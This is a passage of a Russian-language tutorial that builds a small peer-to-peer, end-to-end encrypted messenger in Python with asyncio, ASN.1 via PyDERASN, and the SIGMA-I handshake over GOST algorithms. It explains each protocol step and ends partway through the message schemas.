text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# GOSTIM: P2P F2F E2EE IM за один вечер с ГОСТ-криптографией
Будучи разработчиком [PyGOST](http://www.pygost.cypherpunks.ru/) библиотеки (ГОСТовые криптографические примитивы на чистом Python), я нередко получаю вопросы о том, как на коленке реализовать простейший безопасный обмен сообщениями. Многие считают прикладную криптографию достаточно простой штукой, и .encrypt() вызова у блочного шифра будет достаточно для безопасной отсылки по каналу связи. Другие же считают, что прикладная криптография — удел немногих, и приемлемо, что богатые компании типа Telegram с олимпиадниками-математиками [не могут реализовать](https://eprint.iacr.org/2015/1177.pdf) безопасный протокол.
Всё это побудило меня написать данную статью, чтобы показать, что реализация криптографических протоколов и безопасного IM-а не такая сложная задача. Однако изобретать собственные протоколы аутентификации и согласования ключей не стоит.
В статье будет написан [peer-to-peer](https://ru.wikipedia.org/wiki/Peer-to-peer), [friend-to-friend](https://ru.wikipedia.org/wiki/Friend-to-friend), [end-to-end зашифрованный](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B2%D0%BE%D0%B7%D0%BD%D0%BE%D0%B5_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) instant messenger с [SIGMA-I](http://webee.technion.ac.il/~hugo/sigma-pdf.pdf) протоколом аутентификации и согласования ключей (на базе которого реализован [IPsec IKE](https://ru.wikipedia.org/wiki/IKE)), используя исключительно ГОСТовые криптографические алгоритмы PyGOST библиотеки и ASN.1 кодирование сообщений библиотекой [PyDERASN](http://www.pyderasn.cypherpunks.ru/) (про которую я уже [писал раньше](https://habr.com/ru/post/444272/)). Необходимое условие: он должен быть настолько прост, чтобы его можно было написать с нуля за один вечер (или рабочий день), иначе это уже не простая программа. В ней наверняка есть ошибки, излишние сложности, недочёты, плюс это моя первая программа с использованием asyncio библиотеки.
Дизайн IM
---------
Для начала, надо понять, как будет выглядеть наш IM. Для простоты, пускай это будет peer-to-peer сеть, без какого-либо обнаружения участников. Собственноручно будем указывать, к какому адресу: порту подключаться для общения с собеседником.
Я понимаю, что на данный момент, предположение о доступности прямой связи между двумя произвольными компьютерами — существенное ограничение применимости IM на практике. Но чем больше разработчиков будут реализовывать всякие NAT-traversal костыли, тем дольше мы так и будем оставаться в IPv4 Интернете, с удручающей вероятностью связи между произвольными компьютерами. Ну сколько можно терпеть отсутствие IPv6 дома и на работе?
У нас будет friend-to-friend сеть: все возможные собеседники заранее должны быть известны. Во-первых, это сильно всё упрощает: представились, нашли или не нашли имя/ключ, отключились или продолжаем работу, зная собеседника. Во-вторых, в общем случае, это безопасно и исключает множество атак.
Интерфейс IM-а будет близок к классическим решениям [suckless-проектов](https://suckless.org/), которые мне очень нравятся своим минимализмом и Unix-way философией. IM программа для каждого собеседника создаёт директорию с тремя Unix domain sockets:
* in — в него записываются отправляемые собеседнику сообщения;
* out — из него читаются принимаемые от собеседника сообщения;
* state — читая из него, мы узнаём, подключён ли сейчас собеседник, адрес/порт подключения.
Кроме того, создаётся conn сокет, записав в который хост порт, мы инициируем подключение к удалённому собеседнику.
```
|-- alice
| |-- in
| |-- out
| `-- state
|-- bob
| |-- in
| |-- out
| `-- state
`- conn
```
Такой подход позволяет делать независимые реализации IM транспорта и пользовательского интерфейса, ведь на вкус и цвет товарища нет, каждому не угодишь. Используя [tmux](https://github.com/tmux/tmux/wiki) и/или [multitail](https://www.vanheusden.com/multitail/), можно получить многооконный интерфейс с синтаксической подсветкой. А с помощью [rlwrap](https://github.com/hanslub42/rlwrap) можно получить GNU Readline-совместимую строку для ввода сообщений.
На самом деле suckless проекты используют FIFO-файлы. Лично я не смог понять, как в asyncio работать с файлами конкурентно без собственноручной подложки из выделенных тредов (для таких вещей давно использую язык [Go](https://golang.org/)). Поэтому решил обойтись Unix domain сокетами. К сожалению, это лишает возможности сделать echo 2001:470:dead::babe 6666 > conn. Я решил эту проблему, используя [socat](http://www.dest-unreach.org/socat/): echo 2001:470:dead::babe 6666 | socat — UNIX-CONNECT:conn, socat READLINE UNIX-CONNECT:alice/in.
Первоначальный небезопасный протокол
------------------------------------
В качестве транспорта используется TCP: он гарантирует доставку и её порядок. UDP не гарантирует ни того, ни другого (что было бы полезным, когда применится криптография), а поддержки [SCTP](https://ru.wikipedia.org/wiki/SCTP) в Python из коробки нет.
К сожалению, в TCP нет понятия сообщения, а только потока байт. Поэтому необходимо придумать формат для сообщений, чтобы их можно было разделять между собой в этом потоке. Можем условиться использовать символ перевода строки. Для начала подойдёт, однако, когда мы начнём шифровать наши сообщения, этот символ может появиться где угодно в шифротексте. В сетях поэтому популярны протоколы, отправляющие сначала длину сообщения в байтах. Например, в Python из коробки есть xdrlib, позволяющая работать с подобным форматом [XDR](https://ru.wikipedia.org/wiki/External_Data_Representation).
Мы не будем правильно и эффективно работать с TCP чтением — упростим код. Читаем в бесконечном цикле данные из сокета, пока не декодируем полное сообщение. В качестве формата для такого подхода можно использовать и JSON с XML. Но когда добавится криптография, то данные придётся подписывать и аутентифицировать — а это потребует байт-в-байт идентичного представления объектов, чего не обеспечивают JSON/XML (dumps результат может отличаться).
XDR подходит для такой задачи, однако я выбираю ASN.1 с DER-кодированием и [PyDERASN](http://www.pyderasn.cypherpunks.ru/) библиотеку, так как на руках у нас будут высокоуровневые объекты, с которыми часто приятнее и удобнее работать. В отличии от schemaless [bencode](https://ru.wikipedia.org/wiki/Bencode), [MessagePack](https://en.wikipedia.org/wiki/MessagePack) или [CBOR](https://en.wikipedia.org/wiki/CBOR), ASN.1 автоматически проверит данные напротив жёстко заданной схемы.
```
# Msg ::= CHOICE {
# text MsgText,
# handshake [0] EXPLICIT MsgHandshake }
class Msg(Choice):
schema = ((
("text", MsgText()),
("handshake", MsgHandshake(expl=tag_ctxc(0))),
))
# MsgText ::= SEQUENCE {
# text UTF8String (SIZE(1..MaxTextLen))}
class MsgText(Sequence):
schema = ((
("text", UTF8String(bounds=(1, MaxTextLen))),
))
# MsgHandshake ::= SEQUENCE {
# peerName UTF8String (SIZE(1..256)) }
class MsgHandshake(Sequence):
schema = ((
("peerName", UTF8String(bounds=(1, 256))),
))
```
Принимаемым сообщением будет Msg: либо текстовое MsgText (пока с одним текстовым полем), либо сообщение рукопожатия MsgHandshake (в котором передаётся имя собеседника). Сейчас выглядит переусложнённым, но это задел на будущее.
```
┌─────┐ ┌─────┐
│PeerA│ │PeerB│
└──┬──┘ └──┬──┘
│MsgHandshake(IdA) │
│─────────────────>│
│ │
│MsgHandshake(IdB) │
│<─────────────────│
│ │
│ MsgText() │
│─────────────────>│
│ │
│ MsgText() │
│<─────────────────│
│ │
```
IM без криптографии
-------------------
Как я уже говорил, для всех операций с сокетами будет использоваться asyncio библиотека. Объявим, что мы ожидаем в момент запуска:
```
parser = argparse.ArgumentParser(description="GOSTIM")
parser.add_argument(
"--our-name",
required=True,
help="Our peer name",
)
parser.add_argument(
"--their-names",
required=True,
help="Their peer names, comma-separated",
)
parser.add_argument(
"--bind",
default="::1",
help="Address to listen on",
)
parser.add_argument(
"--port",
type=int,
default=6666,
help="Port to listen on",
)
args = parser.parse_args()
OUR_NAME = UTF8String(args.our_name)
THEIR_NAMES = set(args.their_names.split(","))
```
Задаётся собственное имя (--our-name alice). Через запятую перечисляются все ожидаемые собеседники (--their-names bob,eve). Для каждого из собеседников создаётся директория с Unix сокетами, а также по корутине на каждый in, out, state:
```
for peer_name in THEIR_NAMES:
makedirs(peer_name, mode=0o700, exist_ok=True)
out_queue = asyncio.Queue()
OUT_QUEUES[peer_name] = out_queue
asyncio.ensure_future(asyncio.start_unix_server(
partial(unixsock_out_processor, out_queue=out_queue),
path.join(peer_name, "out"),
))
in_queue = asyncio.Queue()
IN_QUEUES[peer_name] = in_queue
asyncio.ensure_future(asyncio.start_unix_server(
partial(unixsock_in_processor, in_queue=in_queue),
path.join(peer_name, "in"),
))
asyncio.ensure_future(asyncio.start_unix_server(
partial(unixsock_state_processor, peer_name=peer_name),
path.join(peer_name, "state"),
))
asyncio.ensure_future(asyncio.start_unix_server(unixsock_conn_processor, "conn"))
```
Приходящие от пользователя сообщения из in сокета отправляются в IN\_QUEUES очереди:
```
async def unixsock_in_processor(reader, writer, in_queue: asyncio.Queue) -> None:
while True:
text = await reader.read(MaxTextLen)
if text == b"":
break
await in_queue.put(text.decode("utf-8"))
```
Приходящие от собеседников сообщения отправляются в OUT\_QUEUES очереди, из которых данные записываются в out сокет:
```
async def unixsock_out_processor(reader, writer, out_queue: asyncio.Queue) -> None:
while True:
text = await out_queue.get()
writer.write(("[%s] %s" % (datetime.now(), text)).encode("utf-8"))
await writer.drain()
```
При чтении из state сокета программа ищет в PEER\_ALIVE словаре адрес собеседника. Если подключения к собеседнику ещё нет, то записывается пустая строка.
```
async def unixsock_state_processor(reader, writer, peer_name: str) -> None:
peer_writer = PEER_ALIVES.get(peer_name)
writer.write(
b"" if peer_writer is None else (" ".join([
str(i) for i in peer_writer.get_extra_info("peername")[:2]
]).encode("utf-8") + b"\n")
)
await writer.drain()
writer.close()
```
При записи адреса в conn сокет запускается функция «инициатора» соединения:
```
async def unixsock_conn_processor(reader, writer) -> None:
data = await reader.read(256)
writer.close()
host, port = data.decode("utf-8").split(" ")
await initiator(host=host, port=int(port))
```
Рассмотрим инициатора. Сначала он, очевидно, открывает соединение до указанного хоста/порта и отправляет handshake сообщение со своим именем:
```
130 async def initiator(host, port):
131 _id = repr((host, port))
132 logging.info("%s: dialing", _id)
133 reader, writer = await asyncio.open_connection(host, port)
134 # Handshake message {{{
135 writer.write(Msg(("handshake", MsgHandshake((
136 ("peerName", OUR_NAME),
137 )))).encode())
138 # }}}
139 await writer.drain()
```
Затем ждёт ответа от удалённой стороны. Пытается декодировать пришедший ответ по Msg ASN.1 схеме. Предполагаем, что всё сообщение будет отправлено одним TCP-сегментом и мы атомарно его получим при вызове .read(). Проверяем, что мы получили именно handshake сообщение.
```
141 # Wait for Handshake message {{{
142 data = await reader.read(256)
143 if data == b"":
144 logging.warning("%s: no answer, disconnecting", _id)
145 writer.close()
146 return
147 try:
148 msg, _ = Msg().decode(data)
149 except ASN1Error:
150 logging.warning("%s: undecodable answer, disconnecting", _id)
151 writer.close()
152 return
153 logging.info("%s: got %s message", _id, msg.choice)
154 if msg.choice != "handshake":
155 logging.warning("%s: unexpected message, disconnecting", _id)
156 writer.close()
157 return
158 # }}}
```
Проверяем, что пришедшее имя собеседника нам известно. Если нет, то рвём соединение. Проверяем, не было ли у нас уже установлено с ним соединение (собеседник вновь дал команду на подключение к нам) и закрываем его. В IN\_QUEUES очередь помещаются Python-строки с текстом сообщения, но имеется особое значение None, сигнализирующее msg\_sender корутину прекратить работу, чтобы она забыла о своём writer, связанным с устаревшим TCP-соединением.
```
159 msg_handshake = msg.value
160 peer_name = str(msg_handshake["peerName"])
161 if peer_name not in THEIR_NAMES:
162 logging.warning("unknown peer name: %s", peer_name)
163 writer.close()
164 return
165 logging.info("%s: session established: %s", _id, peer_name)
166 # Run text message sender, initialize transport decoder {{{
167 peer_alive = PEER_ALIVES.pop(peer_name, None)
168 if peer_alive is not None:
169 peer_alive.close()
170 await IN_QUEUES[peer_name].put(None)
171 PEER_ALIVES[peer_name] = writer
172 asyncio.ensure_future(msg_sender(peer_name, writer))
173 # }}}
```
msg\_sender принимает исходящие сообщения (подкладываемые в очередь из in сокета), сериализует их в MsgText сообщение и отправляет по TCP-соединению. Оно может оборваться в любой момент — это мы явно перехватываем.
```
async def msg_sender(peer_name: str, writer) -> None:
in_queue = IN_QUEUES[peer_name]
while True:
text = await in_queue.get()
if text is None:
break
writer.write(Msg(("text", MsgText((
("text", UTF8String(text)),
)))).encode())
try:
await writer.drain()
except ConnectionResetError:
del PEER_ALIVES[peer_name]
return
logging.info("%s: sent %d characters message", peer_name, len(text))
```
В конце инициатор входит в бесконечный цикл чтения сообщений из сокета. Проверяет, текстовые ли это сообщения, и помещает в OUT\_QUEUES очередь, из которой они будут отправлены в out сокет соответствующего собеседника. Почему нельзя просто делать .read() и декодировать сообщение? Потому что не исключена ситуация, когда несколько сообщений от пользователя будут агрегированы в буфере операционной системы и отправлены одним TCP-сегментом. Декодировать-то мы сможем первое, а дальше в буфере может остаться часть от последующего. При любой нештатной ситуации мы закрываем TCP-соединение и останавливаем msg\_sender корутину (посылкой None в OUT\_QUEUES очередь).
```
174 buf = b""
175 # Wait for test messages {{{
176 while True:
177 data = await reader.read(MaxMsgLen)
178 if data == b"":
179 break
180 buf += data
181 if len(buf) > MaxMsgLen:
182 logging.warning("%s: max buffer size exceeded", _id)
183 break
184 try:
185 msg, tail = Msg().decode(buf)
186 except ASN1Error:
187 continue
188 buf = tail
189 if msg.choice != "text":
190 logging.warning("%s: unexpected %s message", _id, msg.choice)
191 break
192 try:
193 await msg_receiver(msg.value, peer_name)
194 except ValueError as err:
195 logging.warning("%s: %s", err)
196 break
197 # }}}
198 logging.info("%s: disconnecting: %s", _id, peer_name)
199 IN_QUEUES[peer_name].put(None)
200 writer.close()
66 async def msg_receiver(msg_text: MsgText, peer_name: str) -> None:
67 text = str(msg_text["text"])
68 logging.info("%s: received %d characters message", peer_name, len(text))
69 await OUT_QUEUES[peer_name].put(text)
```
Вернёмся к основному коду. После создания всех корутин в момент запуска программы мы стартуем TCP-сервер. На каждое установленное соединение он создаёт responder (ответчик) корутину.
```
logging.basicConfig(
level=logging.INFO,
format="%(levelname)s %(asctime)s: %(funcName)s: %(message)s",
)
loop = asyncio.get_event_loop()
server = loop.run_until_complete(asyncio.start_server(responder, args.bind, args.port))
logging.info("Listening on: %s", server.sockets[0].getsockname())
loop.run_forever()
```
responder схож с initiator и зеркально выполняет все те же самые действия, но бесконечный цикл чтения сообщений запускается сразу же, для простоты. Сейчас протокол рукопожатия отсылает по одному сообщению с каждой стороны, но в дальнейшем, будет по два от инициатора соединения, после которых сразу же возможна отправка текстовых.
```
72 async def responder(reader, writer):
73 _id = writer.get_extra_info("peername")
74 logging.info("%s: connected", _id)
75 buf = b""
76 msg_expected = "handshake"
77 peer_name = None
78 while True:
79 # Read until we get Msg message {{{
80 data = await reader.read(MaxMsgLen)
81 if data == b"":
82 logging.info("%s: closed connection", _id)
83 break
84 buf += data
85 if len(buf) > MaxMsgLen:
86 logging.warning("%s: max buffer size exceeded", _id)
87 break
88 try:
89 msg, tail = Msg().decode(buf)
90 except ASN1Error:
91 continue
92 buf = tail
93 # }}}
94 if msg.choice != msg_expected:
95 logging.warning("%s: unexpected %s message", _id, msg.choice)
96 break
97 if msg_expected == "text":
98 try:
99 await msg_receiver(msg.value, peer_name)
100 except ValueError as err:
101 logging.warning("%s: %s", err)
102 break
103 # Process Handshake message {{{
104 elif msg_expected == "handshake":
105 logging.info("%s: got %s message", _id, msg_expected)
106 msg_handshake = msg.value
107 peer_name = str(msg_handshake["peerName"])
108 if peer_name not in THEIR_NAMES:
109 logging.warning("unknown peer name: %s", peer_name)
110 break
111 writer.write(Msg(("handshake", MsgHandshake((
112 ("peerName", OUR_NAME),
113 )))).encode())
114 await writer.drain()
115 logging.info("%s: session established: %s", _id, peer_name)
116 peer_alive = PEER_ALIVES.pop(peer_name, None)
117 if peer_alive is not None:
118 peer_alive.close()
119 await IN_QUEUES[peer_name].put(None)
120 PEER_ALIVES[peer_name] = writer
121 asyncio.ensure_future(msg_sender(peer_name, writer))
122 msg_expected = "text"
123 # }}}
124 logging.info("%s: disconnecting", _id)
125 if msg_expected == "text":
126 IN_QUEUES[peer_name].put(None)
127 writer.close()
```
Безопасный протокол
-------------------
Пришло время обезопасить наше общение. Что же мы подразумеваем под безопасностью и что хотим:
* конфиденциальность передаваемых сообщений;
* аутентичность и целостность передаваемых сообщений — их изменение должно быть обнаружено;
* защита от атак перепроигрывания (replay attack) — факт пропажи или повтора сообщений должен быть обнаружен (и мы решаем обрывать соединение);
* идентификация и аутентификация собеседников по заранее вбитым публичным ключам — мы уже решили ранее, что делаем friend-to-friend сеть. Только после аутентификации мы поймём, с кем общаемся;
* наличие [perfect forward secrecy](https://ru.wikipedia.org/wiki/Perfect_forward_secrecy) свойства (PFS) — компрометация нашего долгоживущего ключа подписи не должна приводить к возможности чтения всей предыдущей переписки. Запись перехваченного трафика становится бесполезной;
* действительность/валидность сообщений (транспортных и рукопожатия) только в пределах одной TCP-сессии. Вставка корректно подписанных/аутентифицированных сообщений из другой сессии (даже с этим же собеседником) не должна быть возможной;
* пассивный наблюдатель не должен видеть ни идентификаторов пользователей, ни передаваемых долгоживущих публичных ключей, ни хэшей от них. Некая анонимность от пассивного наблюдателя.
Удивительно, но этот минимум практически все хотят иметь в любом протоколе рукопожатия, и крайне мало из перечисленного в итоге выполняется для «доморощенных» протоколов. Вот и сейчас не будем изобретать нового. Я бы однозначно рекомендовал использовать [Noise framework](http://noiseprotocol.org/) для построения протоколов, но выберем что-то попроще.
Наиболее популярны два протокола:
* [TLS](https://ru.wikipedia.org/wiki/TLS) — сложнейший протокол с длинной историей багов, косяков, уязвимостей, плохой продуманности, сложности и недочётов (впрочем, к TLS 1.3 это мало относится). Но не рассматриваем его из-за переусложнённости.
* [IPsec](https://ru.wikipedia.org/wiki/IPsec) с [IKE](https://ru.wikipedia.org/wiki/IKE) — не имеют серьёзных криптографических проблем, хотя тоже не просты. Если почитать про IKEv1 и IKEv2, то их истоком являются [STS](https://ru.wikipedia.org/wiki/STS_(%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB)), ISO/IEC IS 9798-3 и SIGMA (SIGn-and-MAc) протоколы — достаточно простые для реализации за один вечер.
Чем SIGMA, как последнее звено развития STS/ISO протоколов, хорош? Он удовлетворяет всем нашим требованиям (в том числе «скрытия» идентификаторов собеседников), не имеет известных криптографических проблем. Он минималистичен — удаление хотя бы одного элемента из сообщения протокола приведёт к его небезопасности.
Давайте пройдёмся от простейшего доморощенного протокола до SIGMA. Самая базовая интересующая нас операция это [согласование ключей](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%84%D1%84%D0%B8-%D0%A5%D0%B5%D0%BB%D0%BB%D0%BC%D0%B0%D0%BD): функция, на выходе которой оба участника получат одно и то же значение, которое можно будет использовать в качестве симметричного ключа. Не вдаваясь в подробности: каждая из сторон генерирует эфемерную (использующуюся только в пределах одной сессии) ключевую пару (публичный и приватный ключи), обмениваются публичными ключами, вызывают функцию согласования, на вход которой передают свой приватный ключ и публичный ключ собеседника.
```
┌─────┐ ┌─────┐
│PeerA│ │PeerB│
└──┬──┘ └──┬──┘
│ IdA, PubA │ ╔════════════════════╗
│───────────────>│ ║PrvA, PubA = DHgen()║
│ │ ╚════════════════════╝
│ IdB, PubB │ ╔════════════════════╗
│<───────────────│ ║PrvB, PubB = DHgen()║
│ │ ╚════════════════════╝
────┐ ╔═══════╧════════════╗
│ ║Key = DH(PrvA, PubB)║
<───┘ ╚═══════╤════════════╝
│ │
│ │
```
Любой может встрять-посередине и заменить публичные ключи своими собственными — в данном протоколе нет аутентификации собеседников. Добавим подпись долгоживущими ключами.
```
┌─────┐ ┌─────┐
│PeerA│ │PeerB│
└──┬──┘ └──┬──┘
│IdA, PubA, sign(SignPrvA, (PubA)) │ ╔═══════════════════════════╗
│─────────────────────────────────>│ ║SignPrvA, SignPubA = load()║
│ │ ║PrvA, PubA = DHgen() ║
│ │ ╚═══════════════════════════╝
│IdB, PubB, sign(SignPrvB, (PubB)) │ ╔═══════════════════════════╗
│<─────────────────────────────────│ ║SignPrvB, SignPubB = load()║
│ │ ║PrvB, PubB = DHgen() ║
│ │ ╚═══════════════════════════╝
────┐ ╔═════════════════════╗ │
│ ║verify(SignPubB, ...)║ │
<───┘ ║Key = DH(PrvA, PubB) ║ │
│ ╚═════════════════════╝ │
│ │
```
Такая подпись не подойдёт, так как она не привязана к конкретной сессии. Такие сообщения «подойдут» и для сессий с другими участниками. Подписываться должен весь контекст. Это вынуждает также добавить посылку ещё одного сообщения от A.
Кроме того, критично добавить под подпись и собственный идентификатор, так как, в противном случае мы можем подменить IdXXX и переподписать сообщение ключом другого известного собеседника. Для предотвращения [reflection атак](https://en.wikipedia.org/wiki/Reflection_attack), необходимо, чтобы элементы под подписью находились в чётко заданных местах по своему смыслу: если A подписывает (PubA, PubB), то B должен подписывать (PubB, PubA). Это ещё и говорит о важности выбора структуры и формата сериализованных данных. Например, множества в ASN.1 DER кодировании сортируются: SET OF(PubA, PubB) будет идентичен SET OF(PubB, PubA).
```
┌─────┐ ┌─────┐
│PeerA│ │PeerB│
└──┬──┘ └──┬──┘
│ IdA, PubA │ ╔═══════════════════════════╗
│────────────────────────────────────────────>│ ║SignPrvA, SignPubA = load()║
│ │ ║PrvA, PubA = DHgen() ║
│ │ ╚═══════════════════════════╝
│IdB, PubB, sign(SignPrvB, (IdB, PubA, PubB)) │ ╔═══════════════════════════╗
│<────────────────────────────────────────────│ ║SignPrvB, SignPubB = load()║
│ │ ║PrvB, PubB = DHgen() ║
│ │ ╚═══════════════════════════╝
│ sign(SignPrvA, (IdA, PubB, PubA)) │ ╔═════════════════════╗
│────────────────────────────────────────────>│ ║verify(SignPubB, ...)║
│ │ ║Key = DH(PrvA, PubB) ║
│ │ ╚═════════════════════╝
│ │
```
Однако мы всё ещё не «доказали» что выработали одинаковый общий ключ для этой сессии. В принципе, можно обойтись и без этого шага — первое же транспортное сообщение будет невалидным, но мы хотим чтобы, когда рукопожатие завершилось, то были бы уверены, что всё действительно согласовано. На данный момент у нас на руках ISO/IEC IS 9798-3 протокол.
Мы могли бы подписывать и сам выработанный ключ. Это опасно, так как не исключено, что в используемом алгоритме подписи могут быть утечки (пускай биты-на-подпись, но всё же утечки). Можно подписывать хэш от выработанного ключа, но утечка даже хэша от выработанного ключа может иметь ценность при brute-force атаке на функцию выработки. SIGMA использует MAC функцию, аутентифицирующую идентификатор отправителя.
```
┌─────┐ ┌─────┐
│PeerA│ │PeerB│
└──┬──┘ └──┬──┘
│ IdA, PubA │ ╔═══════════════════════════╗
│─────────────────────────────────────────────────>│ ║SignPrvA, SignPubA = load()║
│ │ ║PrvA, PubA = DHgen() ║
│ │ ╚═══════════════════════════╝
│IdB, PubB, sign(SignPrvB, (PubA, PubB)), MAC(IdB) │ ╔═══════════════════════════╗
│<─────────────────────────────────────────────────│ ║SignPrvB, SignPubB = load()║
│ │ ║PrvB, PubB = DHgen() ║
│ │ ╚═══════════════════════════╝
│ │ ╔═════════════════════╗
│ sign(SignPrvA, (PubB, PubA)), MAC(IdA) │ ║Key = DH(PrvA, PubB) ║
│─────────────────────────────────────────────────>│ ║verify(Key, IdB) ║
│ │ ║verify(SignPubB, ...)║
│ │ ╚═════════════════════╝
│ │
```
В качестве оптимизации некоторые могут захотеть переиспользовать свои эфемерные ключи (что, конечно, плачевно для PFS). Например, мы сгенерировали ключевую пару, попытались подключиться, но TCP не был доступен или оборвался где-то на середине протокола. Жалко тратить потраченную энтропию и ресурсы процессора на новую пару. Поэтому введём так называемый cookie — псевдослучайное значение, которое защитит от возможных случайных replay атак при повторном использовании эфемерных публичных ключей. Из-за binding-а между cookie и эфемерным публичным ключом, публичный ключ противоположного участника можно убрать из подписи за ненадобностью.
```
┌─────┐ ┌─────┐
│PeerA│ │PeerB│
└──┬──┘ └──┬──┘
│ IdA, PubA, CookieA │ ╔═══════════════════════════╗
│──────────────────────────────────────────────────────────────────────>│ ║SignPrvA, SignPubA = load()║
│ │ ║PrvA, PubA = DHgen() ║
│ │ ╚═══════════════════════════╝
│IdB, PubB, CookieB, sign(SignPrvB, (CookieA, CookieB, PubB)), MAC(IdB) │ ╔═══════════════════════════╗
│<──────────────────────────────────────────────────────────────────────│ ║SignPrvB, SignPubB = load()║
│ │ ║PrvB, PubB = DHgen() ║
│ │ ╚═══════════════════════════╝
│ │ ╔═════════════════════╗
│ sign(SignPrvA, (CookieB, CookieA, PubA)), MAC(IdA) │ ║Key = DH(PrvA, PubB) ║
│──────────────────────────────────────────────────────────────────────>│ ║verify(Key, IdB) ║
│ │ ║verify(SignPubB, ...)║
│ │ ╚═════════════════════╝
│ │
```
Наконец, мы хотим получить приватность наших идентификаторов собеседников от пассивного наблюдателя. Для этого SIGMA предлагает сначала обменяться эфемерными ключами, выработать общий ключ, на котором зашифровать аутентифицирующие и идентифицирующие сообщения. SIGMA описывает два варианта:
* SIGMA-I — защищает инициатора от активных атак, ответчика от пассивных: инициатор аутентифицирует ответчика и если что-то не сошлось, то свою идентификацию он не выдаёт. Ответчик же выдаёт свою идентификацию если с ним начать активный протокол. Пассивный наблюдатель ничего не узнает;
SIGMA-R — защищает ответчика от активных атак, инициатора от пассивных. Всё с точностью до наоборот, но в этом протоколе уже четыре сообщения рукопожатия передаётся.
Выбираем SIGMA-I как более похожий на то, что мы ожидаем от клиент-серверных привычных вещей: клиента узнает только аутентифицированный сервер, а сервер и так знают все. Плюс он проще в реализации из-за меньшего количества сообщений рукопожатия. Всё что мы вносим в протокол, так это шифрование части сообщения и перенос идентификатора A в шифрованную часть последнего сообщения:
```
┌─────┐ ┌─────┐
│PeerA│ │PeerB│
└──┬──┘ └──┬──┘
│ PubA, CookieA │ ╔═══════════════════════════╗
│─────────────────────────────────────────────────────────────────────────────>│ ║SignPrvA, SignPubA = load()║
│ │ ║PrvA, PubA = DHgen() ║
│ │ ╚═══════════════════════════╝
│PubB, CookieB, Enc((IdB, sign(SignPrvB, (CookieA, CookieB, PubB)), MAC(IdB))) │ ╔═══════════════════════════╗
│<─────────────────────────────────────────────────────────────────────────────│ ║SignPrvB, SignPubB = load()║
│ │ ║PrvB, PubB = DHgen() ║
│ │ ╚═══════════════════════════╝
│ │ ╔═════════════════════╗
│ Enc((IdA, sign(SignPrvA, (CookieB, CookieA, PubA)), MAC(IdA))) │ ║Key = DH(PrvA, PubB) ║
│─────────────────────────────────────────────────────────────────────────────>│ ║verify(Key, IdB) ║
│ │ ║verify(SignPubB, ...)║
│ │ ╚═════════════════════╝
│ │
```
+ Для подписи используется ГОСТ Р [34.10-2012](https://ru.wikipedia.org/wiki/%D0%93%D0%9E%D0%A1%D0%A2_%D0%A0_34.10-2012) алгоритм с 256-бит ключами.
+ Для выработки общего ключа используется 34.10-2012 VKO.
+ В качестве MAC используется CMAC. Технически это особый режим работы блочного шифра, описанный в ГОСТ Р 34.13-2015. В качестве функции шифрования для этого режима — [Кузнечик](https://ru.wikipedia.org/wiki/Kuznechik) (34.12-2015).
+ В качестве идентификатора собеседника используется хэш от его публичного ключа. В качестве хэша применяется [Стрибог-256](https://ru.wikipedia.org/wiki/%D0%93%D0%9E%D0%A1%D0%A2_%D0%A0_34.11-2012) (34.11-2012 256 бит).
После рукопожатия у нас будет согласован общий ключ. Его мы можем использовать для аутентифицированного шифрования транспортных сообщений. Эта часть совсем простая и в ней сложно ошибиться: инкрементируем счётчик сообщений, шифруем сообщение, аутентифицируем (MAC) счётчик и шифротекст, отправляем. При приёме сообщения проверяем что счётчик имеет ожидаемое значение, аутентифицируем шифротекст с счётчиком, дешифруем. Каким ключом шифровать сообщения рукопожатия, транспортные, каким аутентифицировать? Использовать один ключ для всех этих задач опасно и неразумно. Необходимо вырабатывать ключи, используя специализированные функции [KDF](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F_%D1%84%D0%BE%D1%80%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BA%D0%BB%D1%8E%D1%87%D0%B0) (key derivation function). Опять же, не будем мудрить и что-то изобретать: [HKDF](https://en.wikipedia.org/wiki/HKDF) давно известна, хорошо исследована и не имеет известных проблем. К сожалению, в родной библиотеке Python нет этой функции, поэтому используем [hkdf](https://pypi.org/project/hkdf/) пакет. HKDF внутри использует [HMAC](https://ru.wikipedia.org/wiki/HMAC), который, в свою очередь, использует хэш-функцию. Пример реализации на Python на странице Wikipedia занимает считанные строки кода. Как и в случае с 34.10-2012, в качестве хэш-функции будем использовать Стрибог-256. Выход нашей функции согласования ключей будет называться сессионным ключом, из которого будут вырабатываться недостающие симметричные:
```
kdf = Hkdf(None, key_session, hash=GOST34112012256)
kdf.expand(b"handshake1-mac-identity")
kdf.expand(b"handshake1-enc")
kdf.expand(b"handshake1-mac")
kdf.expand(b"handshake2-mac-identity")
kdf.expand(b"handshake2-enc")
kdf.expand(b"handshake2-mac")
kdf.expand(b"transport-initiator-enc")
kdf.expand(b"transport-initiator-mac")
kdf.expand(b"transport-responder-enc")
kdf.expand(b"transport-responder-mac")
```
Структуры/схемы
---------------
Рассмотрим какие же теперь ASN.1 структуры у нас получились для передачи всех этих данных:
```
class Msg(Choice):
schema = ((
("text", MsgText()),
("handshake0", MsgHandshake0(expl=tag_ctxc(0))),
("handshake1", MsgHandshake1(expl=tag_ctxc(1))),
("handshake2", MsgHandshake2(expl=tag_ctxc(2))),
))
class MsgText(Sequence):
schema = ((
("payload", MsgTextPayload()),
("payloadMac", MAC()),
))
class MsgTextPayload(Sequence):
schema = ((
("nonce", Integer(bounds=(0, float("+inf")))),
("ciphertext", OctetString(bounds=(1, MaxTextLen))),
))
class MsgHandshake0(Sequence):
schema = ((
("cookieInitiator", Cookie()),
("pubKeyInitiator", PubKey()),
))
class MsgHandshake1(Sequence):
schema = ((
("cookieResponder", Cookie()),
("pubKeyResponder", PubKey()),
("ukm", OctetString(bounds=(8, 8))),
("ciphertext", OctetString()),
("ciphertextMac", MAC()),
))
class MsgHandshake2(Sequence):
schema = ((
("ciphertext", OctetString()),
("ciphertextMac", MAC()),
))
class HandshakeTBE(Sequence):
schema = ((
